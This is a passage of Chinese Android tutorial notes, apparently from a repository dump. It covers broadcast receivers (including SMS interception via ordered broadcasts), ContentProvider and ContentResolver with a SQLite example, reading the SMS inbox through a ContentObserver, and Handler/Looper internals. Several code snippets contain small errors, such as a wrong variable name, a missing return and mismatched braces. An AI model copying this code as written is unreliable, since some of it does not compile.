\n<action android:name = \"android.provider.Telephony.SMS_RECEIVED\" />\n</ intent-filter > \n\n</ receiver >\n```\n\n　　这里的priority取值是　-1000到1000，值越大优先级越高，同时注意加上系统接收短信的限权。\n\n``` \n< uses-permission android:name =\"android.permission.RECEIVE_SMS\" />\n```\n\n　　静态注册的广播接收者是一个常驻在系统中的全局监听器，当你在应用中配置了一个静态的BroadcastReceiver，安装了应用后而无论应用是否处于运行状态，广播接收者都是已经常驻在系统中了。同时应用里的所有receiver都在清单文件里面，方便查看。　\n　　\n　　要销毁掉静态注册的广播接收者，可以通过调用PackageManager将Receiver禁用。\n\n## 动态方式\n\n　　在Activity中声明BroadcastReceiver的扩展对象，在onResume中注册，onPause中卸载.\n　　　\n\n\n```\n\npublic class MainActivity extends Activity {\n\tMyBroadcastReceiver receiver;\n\t@Override\n\t protected void onResume() {\n\t\t// 动态注册广播 (代码执行到这才会开始监听广播消息，并对广播消息作为相应的处理)\n\t\treceiver = new MyBroadcastReceiver();\n\t\tIntentFilter intentFilter = new IntentFilter( \"android.provider.Telephony.SMS_RECEIVED\" );\n\t\tregisterReceiver( receiver , intentFilter);\t\n\t\tsuper.onResume();\n\t}\n\t@Override\n\tprotected void onPause() {  \n\t\t// 撤销注册 (撤销注册后广播接收者将不会再监听系统的广播消息)\n\t\tunregisterReceiver(receiver);\n\t\tsuper.onPause();\n\t}\n}\n\n\n```\n\n\n\n\n## 静态注册和动态注册的区别\n\n　　1、静态注册的广播接收者一经安装就常驻在系统之中，不需要重新启动唤醒接收者；\n　　动态注册的广播接收者随着应用的生命周期，由registerReceiver开始监听，由unregisterReceiver撤销监听，如果应用退出后，没有撤销已经注册的接收者应用应用将会报错。\n\n　　2、当广播接收者通过intent启动一个activity或者service时，如果intent中无法匹配到相应的组件。　\n　　动态注册的广播接收者将会导致应用报错\n　　而静态注册的广播接收者将不会有任何报错，因为自从应用安装完成后，广播接收者跟应用已经脱离了关系。　\n\n# 发送BroadcastReceiver\n\n## 发送广播主要有两种类型：\n\n### 普通广播\n \n 应用在需要通知各个广播接收者的情况下使用，如 开机启动\n\n使用方法：sendBroadcast() \n\n```\nIntent intent = new Intent(\"android.provider.Telephony.SMS_RECEIVED\"); \n//通过intent传递少量数据\nintent.putExtra(\"data\", \"finch\"); \n// 发送普通广播\nsendBroadcast(Intent); \n```\n\n　　普通广播是完全异步的，可以在同一时刻（逻辑上）被所有接收者接收到，所有满足条件的 BroadcastReceiver 都会随机地执行其 onReceive() 方法。\n　　同级别接收是先后是随机的；级别低的收到广播；\n　　消息传递的效率比较高，并且无法中断广播的传播。\n\n　　\n　　\n### 有序广播\n\n应用在需要有特定拦截的场景下使用，如黑名单短信、电话拦截。　\n\n使用方法：\n\n　``sendOrderedBroadcast(intent, receiverPermission);``\n\n　``receiverPermission`` ：一个接收器必须持以接收您的广播。如果为 null ，不经许可的要求（一般都为null）。\n\n```\n//发送有序广播\n sendOrderedBroadcast(intent, null);\n```\n\n　　在有序广播中，我们可以在前一个广播接收者将处理好的数据传送给后面的广播接收者，也可以调用abortBroadcast()来终结广播的传播。\n\n```\npublic void onReceive(Context arg0, Intent intent) {\n　　//获取上一个广播的bundle数据\n　　Bundle bundle = getResultExtras(true);//true：前一个广播没有结果时创建新的Bundle；false：不创建Bundle\n　　bundle.putString(\"key\", \"777\");\n　　//将bundle数据放入广播中传给下一个广播接收者\n　　setResultExtras(bundle);　\n　　\n　　//终止广播传给下一个广播接收者\n　　abortBroadcast();\n}\n```\n　　高级别的广播收到该广播后，可以决定把该广播是否截断掉。\n　　同级别接收是先后是随机的，如果先接收到的把广播截断了，同级别的例外的接收者是无法收到该广播。\n　　\n## 异步广播\n\n使用方法：``sendStickyBroadcast()`` ：\n\n　　发出的Intent当接收Activity（动态注册）重新处于onResume状态之后就能重新接受到其Intent.（the Intent will be held to be re-broadcast to future receivers）。就是说sendStickyBroadcast发出的最后一个Intent会被保留，下次当Activity处于活跃的时候又会接受到它。\n\n发这个广播需要权限：\n\n```\n<uses-permission android:name=\"android.permission.BROADCAST_STICKY\" />\n```\n\n卸载该广播：\n\n```\nremoveStickyBroadcast(intent);\n```\n　　在卸载之前该intent会保留，接收者在可接收状态都能获得。\n\n## 异步有序广播\n\n　　使用方法：``sendStickyOrderedBroadcast(intent, resultReceiver, scheduler,\n       initialCode, initialData, initialExtras)``：\n\n　　这个方法具有有序广播的特性也有异步广播的特性；\n　　同时需要限权：\n\n```\n <uses-permission android:name=\"android.permission.BROADCAST_STICKY\" /> \n```\n\n# 总结\n\n　　\n\n - 静态广播接收的处理器是由PackageManagerService负责，当手机启动或者新安装了应用的时候，PackageManagerService会扫描手机中所有已安装的APP应用，将AndroidManifest.xml中有关注册广播的信息解析出来，存储至一个全局静态变量当中。\n\n - 动态广播接收的处理器是由ActivityManagerService负责，当APP的服务或者进程起来之后，执行了注册广播接收的代码逻辑，即进行加载，最后会存储在一个另外的全局静态变量中。需要注意的是：\n\n　　 1、 这个并非是一成不变的，当程序被杀死之后，已注册的动态广播接收器也会被移出全局变量，直到下次程序启动，再进行动态广播的注册，当然这里面的顺序也已经变更了一次。\n\n　　 2、这里也并没完整的进行广播的排序，只记录的注册的先后顺序，并未有结合优先级的处理。\n\n - 广播发出的时候，广播接收者接收的顺序如下：\n\n　　１．当广播为**普通广播**时，有如下的接收顺序：\n\n　　无视优先级\n　　动态优先于静态\n　　同优先级的动态广播接收器，**先注册的大于后注册的**\n　　同优先级的静态广播接收器，**先扫描的大于后扫描的**　\n\n　　２．如果广播为**有序广播**，那么会将动态广播处理器和静态广播处理器合并在一起处理广播的消息，最终确定广播接收的顺序：　\n　　\n　　优先级高的先接收　\n　　同优先级的动静态广播接收器，**动态优先于静态**\n　　同优先级的动态广播接收器，**先注册的大于后注册的**\n　　同优先级的静态广播接收器，**先扫描的大于后扫描的**　\n\n\n# 一些常用的系统广播的action 和permission \n\n - 开机启动\n\n\n```\n<action android:name=\"android.intent.action.BOOT_COMPLETED\"/> \n```\n\n```\n<uses-permission android:name=\"android.permission.RECEIVE_BOOT_COMPLETED\" />  \n```\n\n - 网络状态\n\n```\n<action android:name=\"android.net.conn.CONNECTIVITY_CHANGE\"/>  \n```\n\n```\n<uses-permission android:name=\"android.permission.ACCESS_NETWORK_STATE\"/> \n```\n\n　　　网络是否可用的方法：\n\n```\n  public static boolean isNetworkAvailable(Context context) {  \n        ConnectivityManager mgr = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);  \n        NetworkInfo[] info = mgr.getAllNetworkInfo();  \n        if (info != null) {  \n            for (int i = 0; i < info.length; i++) {  \n      if (info[i].getState() == NetworkInfo.State.CONNECTED) {  \n                    return true;  \n                }  \n            }  \n        }  \n        return false;  \n    } \n```\n\n - 电量变化\n\n```\n<action android:name=\"android.intent.action.BATTERY_CHANGED\"/>  \n```\nBroadcastReceiver 的onReceive方法：\n\n```\npublic void onReceive(Context context, Intent intent) {  \n        int currLevel = intent.getIntExtra(BatteryManager.EXTRA_LEVEL, 0);  //当前电量  　\n        \n        int total = intent.getIntExtra(BatteryManager.EXTRA_SCALE, 1);    //总电量  \n        int percent = currLevel * 100 / total;  \n        Log.i(TAG, \"battery: \" + percent + \"%\");  \n    }  \n```\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android基础/ContentProvider实例详解.md",
    "content": "# 1.ContentProvider是什么？\n\n　　ContentProvider（内容提供者）是Android的四大组件之一，管理android以结构化方式存放的数据，以相对安全的方式封装数据（表）并且提供简易的处理机制和统一的访问接口供**其他程序**调用。　\n　　\n　　Android的数据存储方式总共有五种，分别是：Shared Preferences、网络存储、文件存储、外储存储、SQLite。但一般这些存储都只是在单独的一个应用程序之中达到一个数据的共享，有时候我们需要操作其他应用程序的一些数据，就会用到ContentProvider。而且Android为常见的一些数据提供了默认的ContentProvider（包括音频、视频、图片和通讯录等）。\n\n　　但注意ContentProvider它也只是一个中间人，真正操作的数据源可能是数据库，也可以是文件、xml或网络等其他存储方式。\n\n# ２.URL\n\n 　　URL（统一资源标识符）代表要操作的数据，可以用来标识每个ContentProvider，这样你就可以通过指定的URI找到想要的ContentProvider,从中获取或修改数据。\n 　　在Android中URI的格式如下图所示：\n\n![这里写图片描述](http://img.blog.csdn.net/20160505154322045)　\n\n\n　　\n\n - Ａ\n　\n　　　schema，已经由Android所规定为：content://．　\n　　　\n - Ｂ\n\n　　　主机名（Authority），是URI的授权部分，是唯一标识符，用来定位ContentProvider。\n\n> Ｃ部分和D部分：是每个ContentProvider内部的路径部分\n\n - Ｃ\n\n　　　指向一个对象集合，一般用表的名字，如果没有指定D部分，则返回全部记录。\n\n - Ｄ\n\n　　　指向特定的记录，这里表示操作user表id为7的记录。如果要操作user表中id为7的记录的name字段， D部分变为       **/7/name**即可。\n\n\n> URI模式匹配通配符\n> \n> *：匹配的任意长度的任何有效字符的字符串。 \n> \n> ＃：匹配的任意长度的数字字符的字符串。 \n> \n> 如：\n>  \n>  content://com.example.app.provider/*\n>  匹配provider的任何内容url \n>  \n>  content://com.example.app.provider/table3/# \n>  匹配table3的所有行\n\n　　\n## 2.１MIME\n\n 　　MIME是指定某个扩展名的文件用一种应用程序来打开，就像你用浏览器查看PDF格式的文件，浏览器会选择合适的应用来打开一样。Android中的工作方式跟HTTP类似，ContentProvider会根据URI来返回MIME类型，ContentProvider会返回一个包含两部分的字符串。MIME类型一般包含两部分，如：\n\n　　\n\n> text/html\ntext/css\ntext/xml\napplication/pdf\n\n　　分为类型和子类型，Android遵循类似的约定来定义MIME类型，每个内容类型的Android MIME类型有两种形式：多条记录（集合）和单条记录。\n\n　　集合记录：\n\n```\nvnd.android.cursor.dir/自定义\n```\n\n　　单条记录：\n\n```\nvnd.android.cursor.item/自定义\n```\n\n　　vnd表示这些类型和子类型具有非标准的、供应商特定的形式。Android中类型已经固定好了，不能更改，只能区别是集合还是单条具体记录，子类型可以按照格式自己填写。\n　　在使用Intent时，会用到MIME，根据Mimetype打开符合条件的活动。\n\n　　下面分别介绍Android系统提供了两个用于操作Uri的工具类：ContentUris和UriMatcher。\n## 2.２ ContentUris\n\n 　　ContetnUris包含一个便利的函数withAppendedId()来向URI追加一个id。\n\n　\n\n```\nUri uri = Uri.parse(\"content://cn.scu.myprovider/user\")\nUri resultUri = ContentUris.withAppendedId(uri, 7); \n\n//生成后的Uri为：content://cn.scu.myprovider/user/7\n```\n\n　　同时提供parseId(uri)方法用于从URL中获取ID:\n\n```\nUri uri = Uri.parse(\"content://cn.scu.myprovider/user/7\")\nlong personid = ContentUris.parseId(uri);\n//获取的结果为:7\n```\n\n## 2.３UriMatcher\n\n　　UriMatcher本质上是一个文本过滤器，用在contentProvider中帮助我们过滤，分辨出查询者想要查询哪个数据表。\n\n　　举例说明：\n\n - 第一步，初始化：\n\n```\nUriMatcher matcher = new UriMatcher(UriMatcher.NO_MATCH);\n//常量UriMatcher.NO_MATCH表示不匹配任何路径的返回码\n```\n\n - 第二步，注册需要的Uri：\n\n```\n//USER 和 USER_ID是两个int型数据\nmatcher.addURI(\"cn.scu.myprovider\", \"user\", USER);\nmatcher.addURI(\"cn.scu.myprovider\", \"user/#\",USER_ID);\n//如果match()方法匹配content://cn.scu.myprovider/user路径，返回匹配码为USER\n```\n\n - 第三部，与已经注册的Uri进行匹配:\n\n```\n/* \n     * 如果操作集合，则必须以vnd.android.cursor.dir开头 \n     * 如果操作非集合，则必须以vnd.android.cursor.item开头 \n     * */  \n    @Override  \n    public String getType(Uri uri) {  \n    Uri uri = Uri.parse(\"content://\" + \"cn.scu.myprovider\" + \"/user\");  \n        switch(matcher.match(uri)){  \n        case USER:  \n            return \"vnd.android.cursor.dir/user\";  \n        case USER_ID:  \n            return \"vnd.android.cursor.item/user\";  \n        }  \n    } \n``` \n\n# 3.ContentProvider的主要方法\n\n　　　\n\n> public boolean onCreate()\n\n　　ContentProvider创建后　或　打开系统后其它应用第一次访问该ContentProvider时调用。\n\n> public Uri insert(Uri uri, ContentValues values)\n\n　　外部应用向ContentProvider中添加数据。\n\n> public int delete(Uri uri, String selection, String[] selectionArgs)\n\n　　外部应用从ContentProvider删除数据。\n\n> public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs)：\n\n　　外部应用更新ContentProvider中的数据。\n\n> public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder)　\n\n　　供外部应用从ContentProvider中获取数据。\n　\n\n> public String getType(Uri uri)\n\n　　该方法用于返回当前Url所代表数据的MIME类型。\n\n# ４.ContentResolver\n\n　　ContentResolver通过URI来查询ContentProvider中提供的数据。除了URI以 外，还必须知道需要获取的数据段的名称，以及此数据段的数据类型。如果你需要获取一个特定的记录，你就必须知道当前记录的ID，也就是URI中D部分。\n\n　　ContentResolver 类提供了与ContentProvider类相同签名的四个方法：\n\n　　\n\n> public Uri insert(Uri uri, ContentValues values)　//添加\n\n> public int delete(Uri uri, String selection, String[] selectionArgs)　//删除\n> \n> public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs)　//更新\n> \n> public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder)//获取\n\n实例代码：\n\n```\nContentResolver resolver =  getContentResolver();\nUri uri = Uri.parse(\"content://cn.scu.myprovider/user\");\n\n//添加一条记录\nContentValues values = new ContentValues();\nvalues.put(\"name\", \"fanrunqi\");\nvalues.put(\"age\", 24);\nresolver.insert(uri, values);  \n\n//获取user表中所有记录\nCursor cursor = resolver.query(uri, null, null, null, \"userid desc\");\nwhile(cursor.moveToNext()){\n   //操作\n}\n\n//把id为1的记录的name字段值更改新为finch\nContentValues updateValues = new ContentValues();\nupdateValues.put(\"name\", \"finch\");\nUri updateIdUri = ContentUris.withAppendedId(uri, 1);\nresolver.update(updateIdUri, updateValues, null, null);\n\n//删除id为2的记录\nUri deleteIdUri = ContentUris.withAppendedId(uri, 2);\nresolver.delete(deleteIdUri, null, null);\n```\n\n# 5.ContentObserver\n\n　　　 ContentObserver(内容观察者)，目的是观察特定Uri引起的数据库的变化，继而做一些相应的处理，它类似于数据库技术中的触发器(Trigger)，当ContentObserver所观察的Uri发生变化时，便会触发它.\n\n    下面是使用内容观察者监听短信的例子：\n\n```\npublic class MainActivity extends Activity {\n \n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n         \n//注册观察者Observser    \nthis.getContentResolver().registerContentObserver(Uri.parse(\"content://sms\"),true,new SMSObserver(new Handler()));\n \n    }\n \n    private final class SMSObserver extends ContentObserver {\n \n        public SMSObserver(Handler handler) {\n            super(handler);\n \n        }\n \n     \n        @Override\n        public void onChange(boolean selfChange) {\n \n Cursor cursor = MainActivity.this.getContentResolver().query(\nUri.parse(\"content://sms/inbox\"), null, null, null, null);\n \n            while (cursor.moveToNext()) {\n                StringBuilder sb = new StringBuilder();\n \n                sb.append(\"address=\").append(\n                        cursor.getString(cursor.getColumnIndex(\"address\")));\n \n                sb.append(\";subject=\").append(\n                        cursor.getString(cursor.getColumnIndex(\"subject\")));\n \n                sb.append(\";body=\").append(\n                        cursor.getString(cursor.getColumnIndex(\"body\")));\n \n                sb.append(\";time=\").append(\n                        cursor.getLong(cursor.getColumnIndex(\"date\")));\n \n                System.out.println(\"--------has Receivered SMS::\" + sb.toString());\n \n                 \n            }\n \n        }\n \n    }\n}\n```\n  同时可以在ContentProvider发生数据变化时调用\ngetContentResolver().notifyChange(uri, null)来通知注册在此URI上的访问者。\n\n 　　\n\n```\npublic class UserContentProvider extends ContentProvider {\n   public Uri insert(Uri uri, ContentValues values) {\n      db.insert(\"user\", \"userid\", values);\n      getContext().getContentResolver().notifyChange(uri, null);\n   }\n}\n```\n# 6.实例说明\n\n 　　数据源是SQLite, 用ContentResolver操作ContentProvider。\n\n![这里写图片描述](http://img.blog.csdn.net/20160505195143099)\n\nConstant.java（储存一些常量）\n\n```\npublic class Constant {  \n      \n    public static final String TABLE_NAME = \"user\";  \n      \n    public static final String COLUMN_ID = \"_id\";  \n    public static final String COLUMN_NAME = \"name\";  \n       \n       \n    public static final String AUTOHORITY = \"cn.scu.myprovider\";  \n    public static final int ITEM = 1;  \n    public static final int ITEM_ID = 2;  \n       \n    public static final String CONTENT_TYPE = \"vnd.android.cursor.dir/user\";  \n    public static final String CONTENT_ITEM_TYPE = \"vnd.android.cursor.item/user\";  \n       \n    public static final Uri CONTENT_URI = Uri.parse(\"content://\" + AUTOHORITY + \"/user\");  \n}  \n```\n\n  DBHelper.java(操作数据库)\n\n```\npublic class DBHelper extends SQLiteOpenHelper {  \n  \n    private static final String DATABASE_NAME = \"finch.db\";    \n    private static final int DATABASE_VERSION = 1;    \n  \n    public DBHelper(Context context) {  \n        super(context, DATABASE_NAME, null, DATABASE_VERSION);  \n    }  \n  \n    @Override  \n    public void onCreate(SQLiteDatabase db)  throws SQLException {  \n        //创建表格  \n        db.execSQL(\"CREATE TABLE IF NOT EXISTS \"+ Constant.TABLE_NAME + \"(\"+ Constant.COLUMN_ID +\" INTEGER PRIMARY KEY AUTOINCREMENT,\" + Constant.COLUMN_NAME +\" VARCHAR NOT NULL);\");  \n    }  \n  \n    @Override  \n    public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion)  throws SQLException {  \n        //删除并创建表格  \n        db.execSQL(\"DROP TABLE IF EXISTS \"+ Constant.TABLE_NAME+\";\");  \n        onCreate(db);  \n    }  \n}  \n\n```\n\n　MyProvider.java(自定义的ContentProvider)　\n\n```\npublic class MyProvider extends ContentProvider {    \n    \n    DBHelper mDbHelper = null;    \n    SQLiteDatabase db = null;    \n    \n    private static final UriMatcher mMatcher;    \n    static{    \n        mMatcher = new UriMatcher(UriMatcher.NO_MATCH);    \n        mMatcher.addURI(Constant.AUTOHORITY,Constant.TABLE_NAME, Constant.ITEM);    \n        mMatcher.addURI(Constant.AUTOHORITY, Constant.TABLE_NAME+\"/#\", Constant.ITEM_ID);    \n    }    \n    \n  \n    @Override    \n    public String getType(Uri uri) {    \n        switch (mMatcher.match(uri)) {    \n        case Constant.ITEM:    \n            return Constant.CONTENT_TYPE;    \n        case Constant.ITEM_ID:    \n            return Constant.CONTENT_ITEM_TYPE;    \n        default:    \n            throw new IllegalArgumentException(\"Unknown URI\"+uri);    \n        }    \n    }    \n    \n    @Override    \n    public Uri insert(Uri uri, ContentValues values) {    \n        // TODO Auto-generated method stub    \n        long rowId;    \n        if(mMatcher.match(uri)!=Constant.ITEM){    \n            throw new IllegalArgumentException(\"Unknown URI\"+uri);    \n        }    \n        rowId = db.insert(Constant.TABLE_NAME,null,values);    \n        if(rowId>0){    \n            Uri noteUri=ContentUris.withAppendedId(Constant.CONTENT_URI, rowId);    \n            getContext().getContentResolver().notifyChange(noteUri, null);    \n            return noteUri;    \n        }    \n    \n        throw new SQLException(\"Failed to insert row into \" + uri);    \n    }    \n    \n    @Override    \n    public boolean onCreate() {    \n        // TODO Auto-generated method stub    \n        mDbHelper = new DBHelper(getContext());    \n    \n        db = mDbHelper.getReadableDatabase();    \n    \n        return true;    \n    }    \n    \n    @Override    \n    public Cursor query(Uri uri, String[] projection, String selection,    \n            String[] selectionArgs, String sortOrder) {    \n        // TODO Auto-generated method stub    \n        Cursor c = null;    \n        switch (mMatcher.match(uri)) {    \n        case Constant.ITEM:    \n            c =  db.query(Constant.TABLE_NAME, projection, selection, selectionArgs, null, null, sortOrder);    \n            break;    \n        case Constant.ITEM_ID:    \n            c = db.query(Constant.TABLE_NAME, projection,Constant.COLUMN_ID + \"=\"+uri.getLastPathSegment(), selectionArgs, null, null, sortOrder);    \n            break;    \n        default:    \n            throw new IllegalArgumentException(\"Unknown URI\"+uri);    \n        }    \n    \n        c.setNotificationUri(getContext().getContentResolver(), uri);    \n        return c;    \n    }    \n    \n    @Override    \n    public int update(Uri uri, ContentValues values, String selection,    \n            String[] selectionArgs) {    \n        // TODO Auto-generated method stub    \n        return 0;    \n    }\n\n\t@Override\n\tpublic int delete(Uri uri, String selection, String[] selectionArgs) {\n\t\t// TODO Auto-generated method stub\n\t\treturn 0;\n\t}    \n    \n}    \n```\nMainActivity.java(ContentResolver操作)\n\n```\npublic class MainActivity extends Activity {\n    private ContentResolver mContentResolver = null; \n    private Cursor cursor = null;  \n         @Override\n        protected void onCreate(Bundle savedInstanceState) {\n        \t// TODO Auto-generated method stub\n        \tsuper.onCreate(savedInstanceState);\n        \tsetContentView(R.layout.activity_main);\n        \t\n        \t   TextView tv = (TextView) findViewById(R.id.tv);\n\t\t\t\t\n        \t\tmContentResolver = getContentResolver();  \n        \t\ttv.setText(\"添加初始数据 \");\n                for (int i = 0; i < 10; i++) {  \n                    ContentValues values = new ContentValues();  \n                    values.put(Constant.COLUMN_NAME, \"fanrunqi\"+i);  \n                    mContentResolver.insert(Constant.CONTENT_URI, values);  \n                } \n                \n            \ttv.setText(\"查询数据 \");\n                cursor = mContentResolver.query(Constant.CONTENT_URI, new String[]{Constant.COLUMN_ID,Constant.COLUMN_NAME}, null, null, null);  \n                if (cursor.moveToFirst()) {\n                \tString s = cursor.getString(cursor.getColumnIndex(Constant.COLUMN_NAME));\n                \ttv.setText(\"第一个数据： \"+s);\n                }\n        }\n         \n}  \n\n```\n\n最后在manifest申明\n\n```\n<provider android:name=\"MyProvider\" android:authorities=\"cn.scu.myprovider\" />\n```\n\n[本文中代码下载](http://download.csdn.net/detail/amazing7/9511234)\n\n　\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android基础/Handler,Looper,MessageQueue关系.md",
    "content": "\n# 1、Handler的由来\n\n  \n 　　当程序第一次启动的时候，Android会同时启动一条主线程（ Main Thread）来负责处理与UI相关的事件，我们叫做UI线程。\n\n　　Android的UI操作并不是线程安全的（出于性能优化考虑），意味着如果多个线程并发操作UI线程，可能导致线程安全问题。 \n\n　　为了解决Android应用多线程问题—Android平台只允许UI线程修改Activity里的UI组建，就会导致新启动的线程无法改变界面组建的属性值。\n\n　　**简单的说：**当主线程队列处理一个消息超过5秒,android 就会抛出一个 ANP(无响应)的异常,所以,我们需要把一些要处理比较长的消息,放在一个单独线程里面处理,把处理以后的结果,返回给主线程运行,就需要用的Handler来进行线程建的通信。\n\n\n# ２、Handler的作用\n\n  \n\n２.１　让线程延时执行\n\n主要用到的两个方法：\n\n - ``final boolean\tpostAtTime(Runnable r, long uptimeMillis)``\n\n - ``final boolean\tpostDelayed(Runnable r, long delayMillis)``\n\n２.２　让任务在其他线程中执行并返回结果\n\n分为两个步骤：\n\n - 在新启动的线程中发送消息\n\n　　使用Handler对象的sendMessage()方法或者SendEmptyMessage()方法发送消息。\n\n - 在主线程中获取处理消息\n\n　　重写Handler类中处理消息的方法（void handleMessage(Message msg)），当新启动的线程发送消息时，消息发送到与之关联的MessageQueue。而Hanlder不断地从MessageQueue中获取并处理消息。\n\n\n# ３、Handler更新UI线程一般使用\n\n\n　　\n\n - 首先要进行Handler 申明，复写handleMessage方法( 放在主线程中)\n\n```\nprivate Handler handler = new Handler() {\n\n\t\t@Override\n\t\tpublic void handleMessage(Message msg) {\n\t\t\t// TODO 接收消息并且去更新UI线程上的控件内容\n\t\t\tif (msg.what == UPDATE) {\n\t\t\t\t// 更新界面上的textview\n\t\t\t\ttv.setText(String.valueOf(msg.obj));\n\t\t\t}\n\t\t\tsuper.handleMessage(msg);\n\t\t}\n\t};\n```\n\n - 子线程发送Message给ui线程表示自己任务已经执行完成，主线程可以做相应的操作了。\n\n```\nnew Thread() {\n\t\t\t@Override\n\t\t\tpublic void run() {\n\t\t\t\t// TODO 子线程中通过handler发送消息给handler接收，由handler去更新TextView的值\n\t\t\t\ttry {\n\t\t\t\t\t   //do something\n\t\t\t\t\t\t\n\t\t\t\t\t\tMessage msg = new Message();\n\t\t\t\t\t\tmsg.what = UPDATE;\t\t\t\t\t\n\t\t\t\t\t\tmsg.obj = \"更新后的值\" ;\n\t\t\t\t\t\thandler.sendMessage(msg);\n\t\t\t\t\t}\n\t\t\t\t} catch (InterruptedException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}.start();\n```\n\n\n# 4、Handler原理分析\n\n\n4.1 　Handler的构造函数\n\n\n①　public　Handler()\n\n②　public　Handler(Callbackcallback)\n\n③　public　Handler(Looperlooper)\n\n④　public　Handler(Looperlooper, Callbackcallback) 　\n\n\n - 第①个和第②个构造函数都没有传递Looper，这两个构造函数都将通过调用Looper.myLooper()获取当前线程绑定的Looper对象，然后将该Looper对象保存到名为mLooper的成员字段中。 　\n　　下面来看①②个函数源码：\n　　\n\n```\n113    public Handler() {\n114        this(null, false);\n115    }\n\n127    public Handler(Callback callback) {\n128        this(callback, false);\n129    }\n\n//他们会调用Handler的内部构造方法\n\n188    public Handler(Callback callback, boolean async) {\n189        if (FIND_POTENTIAL_LEAKS) {\n190      final Class<? extends Handler> klass = getClass();\n191      if ((klass.isAnonymousClass() ||klass.isMemberClass()\n         || klass.isLocalClass()) &&\n192                    (klass.getModifiers() & Modifier.STATIC) == 0) {\n193                Log.w(TAG, \"The following Handler class should be static or leaks might occur: \" +\n194                    klass.getCanonicalName());\n195            }\n196        }\n197//************************************\n198        mLooper = Looper.myLooper();\n199        if (mLooper == null) {\n200            throw new RuntimeException(\n201                \"Can't create handler inside thread that has not called Looper.prepare()\");\n202        }\n203        mQueue = mLooper.mQueue;\n204        mCallback = callback;\n205        mAsynchronous = async;\n206    }\n\n```\n\n  　　我们看到暗红色的重点部分：\n\n　　通过Looper.myLooper()获取了当前线程保存的Looper实例，又通过这个Looper实例获取了其中保存的MessageQueue（消息队列）。**每个Handler 对应一个Looper对象，产生一个MessageQueue**\n　　\n\n - 第③个和第④个构造函数传递了Looper对象，这两个构造函数会将该Looper保存到名为mLooper的成员字段中。 \n　　下面来看③④个函数源码：\n\n```\n136    public Handler(Looper looper) {\n137        this(looper, null, false);\n138    }　\n\n147    public Handler(Looper looper, Callback callback) {\n148        this(looper, callback, false);\n149    }\n//他们会调用Handler的内部构造方法\n\n227    public Handler(Looper looper, Callback callback, boolean async) {\n228        mLooper = looper;\n229        mQueue = looper.mQueue;\n230        mCallback = callback;\n231        mAsynchronous = async;\n232    }\n\n```\n\n - 第②个和第④个构造函数还传递了Callback对象，Callback是Handler中的内部接口，需要实现其内部的handleMessage方法，Callback代码如下:\n\n```\n80     public interface Callback {\n81         public boolean More ...handleMessage(Message msg);\n82     }\n```\n\n　　Handler.Callback是用来处理Message的一种手段，如果没有传递该参数，那么就应该重写Handler的handleMessage方法，也就是说为了使得Handler能够处理Message，我们有两种办法： \n　　\n　1. 向Hanlder的构造函数传入一个Handler.Callback对象，并实现Handler.Callback的handleMessage方法 　\n　　\n　2. 无需向Hanlder的构造函数传入Handler.Callback对象，但是需要重写Handler本身的handleMessage方法 　\n　　　\n　　　也就是说无论哪种方式，我们都得通过某种方式实现handleMessage方法，这点与Java中对Thread的设计有异曲同工之处。 \n\n4.2　Handle发送消息的几个方法源码\n\n```\n   public final boolean sendMessage(Message msg)\n    {\n        return sendMessageDelayed(msg, 0);\n    }\n```\n\n```\n   public final boolean sendEmptyMessageDelayed(int what, long delayMillis) {\n        Message msg = Message.obtain();\n        msg.what = what;\n        return sendMessageDelayed(msg, delayMillis);\n    }\n```\n\n```\n public final boolean sendMessageDelayed(Message msg, long delayMillis)\n    {\n        if (delayMillis < 0) {\n            delayMillis = 0;\n        }\n        return sendMessageAtTime(msg, SystemClock.uptimeMillis() + delayMillis);\n    }\n```\n\n```\n public boolean sendMessageAtTime(Message msg, long uptimeMillis) {\n        MessageQueue queue = mQueue;\n        if (queue == null) {\n            RuntimeException e = new RuntimeException(\n                    this + \" sendMessageAtTime() called with no mQueue\");\n            Log.w(\"Looper\", e.getMessage(), e);\n            return false;\n        }\n        return enqueueMessage(queue, msg, uptimeMillis);\n    }\n```\n\n我们可以看出他们最后都调用了sendMessageAtTime（），然后返回了enqueueMessage方法，下面看一下此方法源码：\n\n```\n626    private boolean enqueueMessage(MessageQueue queue, Message msg, long uptimeMillis) {\n　　　　　　//把当前的handler作为msg的target属性\n627        msg.target = this;\n628        if (mAsynchronous) {\n629            msg.setAsynchronous(true);\n630        }\n631        return queue.enqueueMessage(msg, uptimeMillis);\n632    }\n```\n\n在该方法中有两件事需要注意：  \n\n1. msg.target = this \n\n 　　该代码将Message的target绑定为当前的Handler\n   \n   <br>\n   \n2. queue.enqueueMessage\n　　\n　　变量queue表示的是Handler所绑定的消息队列MessageQueue，通过调用queue.enqueueMessage(msg, uptimeMillis)我们将Message放入到消息队列中。\n\n过下图可以看到完整的方法调用顺序： \n\n![流程图](http://img.blog.csdn.net/20160516125245477)　\n\n\n# ５、Looper原理分析\n \n\n　　我们一般在主线程申明Handler，有时我们需要继承Thread类实现自己的线程功能，当我们在里面申明Handler的时候会报错。其原因是主线程中已经实现了两个重要的Looper方法，下面看一看ActivityThread.java中main方法的源码：\n\n```\npublic static void main(String[] args) {\n            //......省略\n5205        Looper.prepareMainLooper();//>\n5206\n5207        ActivityThread thread = new ActivityThread();\n5208        thread.attach(false);\n5209\n5210        if (sMainThreadHandler == null) {\n5211            sMainThreadHandler = thread.getHandler();\n5212        }\n5213\n5214        AsyncTask.init();\n5215\n5216        if (false) {\n5217            Looper.myLooper().setMessageLogging(new\n5218   LogPrinter(Log.DEBUG, \"ActivityThread\"));\n5219        }\n5220\n5221        Looper.loop();//>\n5222\n5223        throw new RuntimeException(\"Main thread loop unexpectedly exited\");\n5224    }\n5225}\n```\n\n5.1　首先看prepare()方法\n\n　　\n\n```\n70     public static void prepare() {\n71         prepare(true);\n72     }\n73 \n74     private static void prepare(boolean quitAllowed) {\n　　　　　//证了一个线程中只有一个Looper实例\n75         if 